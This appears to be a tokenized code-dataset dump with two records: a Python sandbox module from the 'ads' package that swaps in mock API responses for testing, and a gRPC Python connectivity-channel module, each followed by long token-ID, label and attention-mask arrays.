repo_name
stringlengths
6
100
path
stringlengths
4
294
copies
stringclasses
981 values
size
stringlengths
4
6
content
stringlengths
606
896k
license
stringclasses
15 values
input_ids
listlengths
1.02k
1.02k
labels
listlengths
1.02k
1.02k
attention_mask
listlengths
1.02k
1.02k
marc-white/ads
ads/sandbox.py
4
1473
""" Sandbox environment that wraps relevant classes so that they receive mock responses rather than contact the live API """ import re from ads import search from .search import SearchQuery as _SearchQuery, Article as _Article from .metrics import MetricsQuery as _MetricsQuery from .export import ExportQuery as _ExportQuery from .tests.mocks import MockSolrResponse, MockMetricsResponse, \ MockExportResponse class Article(_Article): """ Wrapper for ads.search.Article """ def _get_field(self, field): with MockSolrResponse(_SearchQuery.HTTP_ENDPOINT): return super(Article, self)._get_field(field) class SearchQuery(_SearchQuery): """ Wrapper for ads.SearchQuery """ def execute(self): with MockSolrResponse(SearchQuery.HTTP_ENDPOINT): super(SearchQuery, self).execute() class MetricsQuery(_MetricsQuery): """ Wrapper for ads.SearchQuery """ def execute(self): with MockMetricsResponse(MetricsQuery.HTTP_ENDPOINT): return super(MetricsQuery, self).execute() class ExportQuery(_ExportQuery): """ Wrapper for ads.SearchQuery """ def execute(self): with MockExportResponse(re.compile(ExportQuery.HTTP_ENDPOINT)): return super(ExportQuery, self).execute() # Monkey patch relevant classes that are called in ads.search search.Article = Article search.MetricsQuery = MetricsQuery search.ExportQuery = ExportQuery
mit
[ 624, 199, 29155, 3734, 626, 14018, 12082, 3992, 880, 626, 2985, 9128, 1683, 199, 10360, 7830, 2419, 8966, 314, 12166, 3261, 199, 624, 199, 199, 646, 295, 199, 199, 504, 282, 795, 492, 2754, 199, 504, 1275, 1733, 492, 8730, 3227, 465, 485, 5278, 3227, 12, 8281, 465, 485, 7221, 199, 504, 1275, 6759, 492, 10072, 11818, 3227, 465, 485, 17213, 3227, 199, 504, 1275, 3790, 492, 20220, 3227, 465, 485, 11399, 3227, 199, 199, 504, 1275, 2219, 14, 25191, 492, 4420, 27262, 82, 2364, 12, 4420, 17213, 2364, 12, 971, 272, 4420, 11399, 2364, 421, 199, 533, 8281, 1547, 7221, 304, 272, 408, 272, 21947, 367, 282, 795, 14, 1733, 14, 7221, 272, 408, 272, 347, 485, 362, 63, 698, 8, 277, 12, 901, 304, 267, 543, 4420, 27262, 82, 2364, 1547, 5278, 3227, 14, 2856, 63, 21054, 304, 288, 372, 1613, 8, 7221, 12, 291, 10445, 362, 63, 698, 8, 698, 9, 421, 199, 533, 8730, 3227, 1547, 5278, 3227, 304, 272, 408, 272, 21947, 367, 282, 795, 14, 5278, 3227, 272, 408, 272, 347, 5341, 8, 277, 304, 267, 543, 4420, 27262, 82, 2364, 8, 5278, 3227, 14, 2856, 63, 21054, 304, 288, 1613, 8, 5278, 3227, 12, 291, 680, 2526, 342, 421, 199, 533, 10072, 11818, 3227, 1547, 17213, 3227, 304, 272, 408, 272, 21947, 367, 282, 795, 14, 5278, 3227, 272, 408, 339, 347, 5341, 8, 277, 304, 267, 543, 4420, 17213, 2364, 8, 17213, 3227, 14, 2856, 63, 21054, 304, 288, 372, 1613, 8, 17213, 3227, 12, 291, 680, 2526, 342, 421, 199, 533, 20220, 3227, 1547, 11399, 3227, 304, 272, 408, 272, 21947, 367, 282, 795, 14, 5278, 3227, 272, 408, 339, 347, 5341, 8, 277, 304, 267, 543, 4420, 11399, 2364, 8, 264, 14, 2014, 8, 11399, 3227, 14, 2856, 63, 21054, 2298, 288, 372, 1613, 8, 11399, 3227, 12, 291, 680, 2526, 342, 421, 199, 3, 10953, 498, 3371, 12082, 3992, 626, 787, 2797, 315, 282, 795, 14, 1733, 199, 1733, 14, 7221, 275, 8281, 199, 1733, 14, 17213, 3227, 275, 10072, 11818, 3227, 199, 1733, 14, 11399, 3227, 275, 20220, 3227, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 29155, 3734, 626, 14018, 12082, 3992, 880, 626, 2985, 9128, 1683, 199, 10360, 7830, 2419, 8966, 314, 12166, 3261, 199, 624, 199, 199, 646, 295, 199, 199, 504, 282, 795, 492, 2754, 199, 504, 1275, 1733, 492, 8730, 3227, 465, 485, 5278, 3227, 12, 8281, 465, 485, 7221, 199, 504, 1275, 6759, 492, 10072, 11818, 3227, 465, 485, 17213, 3227, 199, 504, 1275, 3790, 492, 20220, 3227, 465, 485, 11399, 3227, 199, 199, 504, 1275, 2219, 14, 25191, 492, 4420, 27262, 82, 2364, 12, 4420, 17213, 2364, 12, 971, 272, 4420, 11399, 2364, 421, 199, 533, 8281, 1547, 7221, 304, 272, 408, 272, 21947, 367, 282, 795, 14, 1733, 14, 7221, 272, 408, 272, 347, 485, 362, 63, 698, 8, 277, 12, 901, 304, 267, 543, 4420, 27262, 82, 2364, 1547, 5278, 3227, 14, 2856, 63, 21054, 304, 288, 372, 1613, 8, 7221, 12, 291, 10445, 362, 63, 698, 8, 698, 9, 421, 199, 533, 8730, 3227, 1547, 5278, 3227, 304, 272, 408, 272, 21947, 367, 282, 795, 14, 5278, 3227, 272, 408, 272, 347, 5341, 8, 277, 304, 267, 543, 4420, 27262, 82, 2364, 8, 5278, 3227, 14, 2856, 63, 21054, 304, 288, 1613, 8, 5278, 3227, 12, 291, 680, 2526, 342, 421, 199, 533, 10072, 11818, 3227, 1547, 17213, 3227, 304, 272, 408, 272, 21947, 367, 282, 795, 14, 5278, 3227, 272, 408, 339, 347, 5341, 8, 277, 304, 267, 543, 4420, 17213, 2364, 8, 17213, 3227, 14, 2856, 63, 21054, 304, 288, 372, 1613, 8, 17213, 3227, 12, 291, 680, 2526, 342, 421, 199, 533, 20220, 3227, 1547, 11399, 3227, 304, 272, 408, 272, 21947, 367, 282, 795, 14, 5278, 3227, 272, 408, 339, 347, 5341, 8, 277, 304, 267, 543, 4420, 11399, 2364, 8, 264, 14, 2014, 8, 11399, 3227, 14, 2856, 63, 21054, 2298, 288, 372, 1613, 8, 11399, 3227, 12, 291, 680, 2526, 342, 421, 199, 3, 10953, 498, 3371, 12082, 3992, 626, 787, 2797, 315, 282, 795, 14, 1733, 199, 1733, 14, 7221, 275, 8281, 199, 1733, 14, 17213, 3227, 275, 10072, 11818, 3227, 199, 1733, 14, 11399, 3227, 275, 20220, 3227, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
a-veitch/grpc
src/python/grpcio/grpc/beta/_connectivity_channel.py
34
6379
# Copyright 2015, Google Inc. # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following disclaimer # in the documentation and/or other materials provided with the # distribution. # * Neither the name of Google Inc. nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """Affords a connectivity-state-listenable channel.""" import threading import time from grpc._adapter import _low from grpc._adapter import _types from grpc.beta import interfaces from grpc.framework.foundation import callable_util _CHANNEL_SUBSCRIPTION_CALLBACK_ERROR_LOG_MESSAGE = ( 'Exception calling channel subscription callback!') _LOW_CONNECTIVITY_STATE_TO_CHANNEL_CONNECTIVITY = { state: connectivity for state, connectivity in zip( _types.ConnectivityState, interfaces.ChannelConnectivity) } class ConnectivityChannel(object): def __init__(self, low_channel): self._lock = threading.Lock() self._low_channel = low_channel self._polling = False self._connectivity = None self._try_to_connect = False self._callbacks_and_connectivities = [] self._delivering = False def _deliveries(self, connectivity): callbacks_needing_update = [] for callback_and_connectivity in self._callbacks_and_connectivities: callback, callback_connectivity = callback_and_connectivity if callback_connectivity is not connectivity: callbacks_needing_update.append(callback) callback_and_connectivity[1] = connectivity return callbacks_needing_update def _deliver(self, initial_connectivity, initial_callbacks): connectivity = initial_connectivity callbacks = initial_callbacks while True: for callback in callbacks: callable_util.call_logging_exceptions( callback, _CHANNEL_SUBSCRIPTION_CALLBACK_ERROR_LOG_MESSAGE, connectivity) with self._lock: callbacks = self._deliveries(self._connectivity) if callbacks: connectivity = self._connectivity else: self._delivering = False return def _spawn_delivery(self, connectivity, callbacks): delivering_thread = threading.Thread( target=self._deliver, args=(connectivity, callbacks,)) delivering_thread.start() self._delivering = True # TODO(issue 3064): Don't poll. def _poll_connectivity(self, low_channel, initial_try_to_connect): try_to_connect = initial_try_to_connect low_connectivity = low_channel.check_connectivity_state(try_to_connect) with self._lock: self._connectivity = _LOW_CONNECTIVITY_STATE_TO_CHANNEL_CONNECTIVITY[ low_connectivity] callbacks = tuple( callback for callback, unused_but_known_to_be_none_connectivity in self._callbacks_and_connectivities) for callback_and_connectivity in self._callbacks_and_connectivities: callback_and_connectivity[1] = self._connectivity if callbacks: self._spawn_delivery(self._connectivity, callbacks) completion_queue = _low.CompletionQueue() while True: low_channel.watch_connectivity_state( low_connectivity, time.time() + 0.2, completion_queue, None) event = completion_queue.next() with self._lock: if not self._callbacks_and_connectivities and not self._try_to_connect: self._polling = False self._connectivity = None completion_queue.shutdown() break try_to_connect = self._try_to_connect self._try_to_connect = False if event.success or try_to_connect: low_connectivity = low_channel.check_connectivity_state(try_to_connect) with self._lock: self._connectivity = _LOW_CONNECTIVITY_STATE_TO_CHANNEL_CONNECTIVITY[ low_connectivity] if not self._delivering: callbacks = self._deliveries(self._connectivity) if callbacks: self._spawn_delivery(self._connectivity, callbacks) def subscribe(self, callback, try_to_connect): with self._lock: if not self._callbacks_and_connectivities and not self._polling: polling_thread = threading.Thread( target=self._poll_connectivity, args=(self._low_channel, bool(try_to_connect))) polling_thread.start() self._polling = True self._callbacks_and_connectivities.append([callback, None]) elif not self._delivering and self._connectivity is not None: self._spawn_delivery(self._connectivity, (callback,)) self._try_to_connect |= bool(try_to_connect) self._callbacks_and_connectivities.append( [callback, self._connectivity]) else: self._try_to_connect |= bool(try_to_connect) self._callbacks_and_connectivities.append([callback, None]) def unsubscribe(self, callback): with self._lock: for index, (subscribed_callback, unused_connectivity) in enumerate( self._callbacks_and_connectivities): if callback == subscribed_callback: self._callbacks_and_connectivities.pop(index) break def low_channel(self): return self._low_channel
bsd-3-clause
[ 3, 1898, 6900, 12, 4475, 3277, 14, 199, 3, 2900, 4481, 4644, 14, 199, 3, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 787, 199, 3, 7647, 26, 199, 3, 199, 3, 258, 627, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 199, 3, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 14, 199, 3, 258, 627, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 199, 3, 4248, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 199, 3, 315, 314, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 199, 3, 4084, 14, 199, 3, 258, 627, 11443, 314, 536, 402, 4475, 3277, 14, 6590, 314, 1561, 402, 2399, 199, 3, 8417, 1443, 506, 1202, 370, 10692, 503, 10016, 7585, 7131, 687, 199, 3, 642, 2032, 1928, 2488, 6791, 5313, 4983, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 2334, 5877, 8164, 2401, 6483, 199, 3, 298, 1179, 2281, 2, 2401, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 2334, 5292, 2990, 1634, 3169, 2401, 3092, 2381, 199, 3, 437, 3115, 3104, 9315, 9706, 14, 1621, 4825, 6461, 7000, 2334, 5877, 199, 3, 11489, 1549, 6483, 6262, 7024, 2381, 1821, 8703, 12, 9168, 12, 9716, 12, 199, 3, 8820, 12, 9836, 12, 1549, 9110, 6736, 334, 6446, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 9838, 1634, 9103, 9764, 1549, 9714, 27, 9102, 1634, 4815, 12, 199, 3, 7126, 12, 1549, 9206, 27, 1549, 9748, 9831, 9, 9802, 9817, 2401, 5258, 1821, 199, 3, 9815, 1634, 5603, 12, 7061, 1621, 7066, 12, 9644, 5603, 12, 1549, 7056, 199, 3, 334, 6446, 9254, 1549, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 199, 3, 1634, 5749, 4141, 12, 9704, 8036, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 199, 199, 624, 14799, 509, 795, 282, 20170, 13, 929, 13, 5859, 461, 3623, 1041, 199, 199, 646, 5796, 199, 646, 900, 199, 199, 504, 19753, 423, 10394, 492, 485, 674, 199, 504, 19753, 423, 10394, 492, 485, 1313, 199, 504, 19753, 14, 5683, 492, 8386, 199, 504, 19753, 14, 4857, 14, 4214, 425, 492, 4550, 63, 1974, 199, 199, 63, 14833, 63, 6348, 10484, 1075, 63, 28100, 63, 3170, 63, 4947, 63, 8272, 275, 334, 272, 283, 1726, 6358, 3623, 9966, 3233, 10916, 199, 199, 63, 5896, 63, 14657, 6882, 1922, 63, 6689, 63, 2566, 63, 14833, 63, 14657, 6882, 1922, 275, 469, 272, 1174, 26, 20170, 367, 1174, 12, 20170, 315, 3482, 8, 267, 485, 1313, 14, 714, 13498, 2223, 12, 8386, 14, 5358, 714, 13498, 9, 199, 93, 421, 199, 533, 1448, 13498, 5358, 8, 785, 304, 819, 347, 636, 826, 721, 277, 12, 6465, 63, 2775, 304, 272, 291, 423, 831, 275, 5796, 14, 6432, 342, 272, 291, 423, 674, 63, 2775, 275, 6465, 63, 2775, 339, 291, 423, 17154, 275, 756, 272, 291, 423, 22344, 275, 488, 272, 291, 423, 893, 63, 475, 63, 2242, 275, 756, 272, 291, 423, 11948, 63, 460, 63, 388, 12453, 15805, 275, 942, 272, 291, 423, 31584, 316, 275, 756, 819, 347, 485, 31584, 1500, 8, 277, 12, 20170, 304, 272, 13484, 63, 9321, 316, 63, 873, 275, 942, 272, 367, 3233, 63, 460, 63, 22344, 315, 291, 423, 11948, 63, 460, 63, 388, 12453, 15805, 26, 489, 3233, 12, 3233, 63, 22344, 275, 3233, 63, 460, 63, 22344, 489, 340, 3233, 63, 22344, 365, 440, 20170, 26, 267, 13484, 63, 9321, 316, 63, 873, 14, 740, 8, 3058, 9, 267, 3233, 63, 460, 63, 22344, 59, 17, 61, 275, 20170, 272, 372, 13484, 63, 9321, 316, 63, 873, 819, 347, 485, 31584, 8, 277, 12, 2536, 63, 22344, 12, 2536, 63, 11948, 304, 272, 20170, 275, 2536, 63, 22344, 272, 13484, 275, 2536, 63, 11948, 272, 1830, 715, 26, 489, 367, 3233, 315, 13484, 26, 267, 4550, 63, 1974, 14, 1250, 63, 4806, 63, 3924, 8, 288, 3233, 12, 485, 14833, 63, 6348, 10484, 1075, 63, 28100, 63, 3170, 63, 4947, 63, 8272, 12, 288, 20170, 9, 489, 543, 291, 423, 831, 26, 267, 13484, 275, 291, 423, 31584, 1500, 8, 277, 423, 22344, 9, 267, 340, 13484, 26, 881, 20170, 275, 291, 423, 22344, 267, 587, 26, 881, 291, 423, 31584, 316, 275, 756, 881, 372, 819, 347, 485, 10212, 63, 14564, 8, 277, 12, 20170, 12, 13484, 304, 272, 28503, 316, 63, 2671, 275, 5796, 14, 4436, 8, 267, 1347, 29, 277, 423, 31584, 12, 1249, 2687, 22344, 12, 13484, 4641, 272, 28503, 316, 63, 2671, 14, 928, 342, 272, 291, 423, 31584, 316, 275, 715, 819, 327, 3254, 8, 5237, 4233, 772, 304, 7529, 1133, 11271, 14, 523, 347, 485, 6843, 63, 22344, 8, 277, 12, 6465, 63, 2775, 12, 2536, 63, 893, 63, 475, 63, 2242, 304, 272, 862, 63, 475, 63, 2242, 275, 2536, 63, 893, 63, 475, 63, 2242, 272, 6465, 63, 22344, 275, 6465, 63, 2775, 14, 1074, 63, 22344, 63, 929, 8, 893, 63, 475, 63, 2242, 9, 272, 543, 291, 423, 831, 26, 489, 291, 423, 22344, 275, 485, 5896, 63, 14657, 6882, 1922, 63, 6689, 63, 2566, 63, 14833, 63, 14657, 6882, 1922, 59, 881, 6465, 63, 22344, 61, 489, 13484, 275, 2008, 